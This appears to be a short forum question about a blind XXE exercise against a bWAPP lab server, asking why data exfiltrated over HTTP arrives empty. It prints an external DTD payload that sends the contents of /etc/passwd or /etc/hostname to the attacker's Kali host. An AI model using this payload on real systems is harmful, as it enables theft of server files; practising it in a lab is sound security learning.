- Kali Linux:192.168.171.134
- bWApp Server: http://192.168.171.131
I want to do an exfiltration data via HTTP on this Blind XXE.
I'll use the Portswigger Payload.
This is the External.DTD:
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://192.168.171.134/?x=%file;'>"> %eval; %exfiltrate;
This is following attempt to exploit it:
As you can see the Vulnerable Web Application does an HTTP Request to recall the evil.DTD, but when it does the HTTP GET with
/etc/passwd the GET parameter is empty, why?
I also try to modified the
/etc/hostname to avoid the possible
<> problems inside that file, but it doesn't work.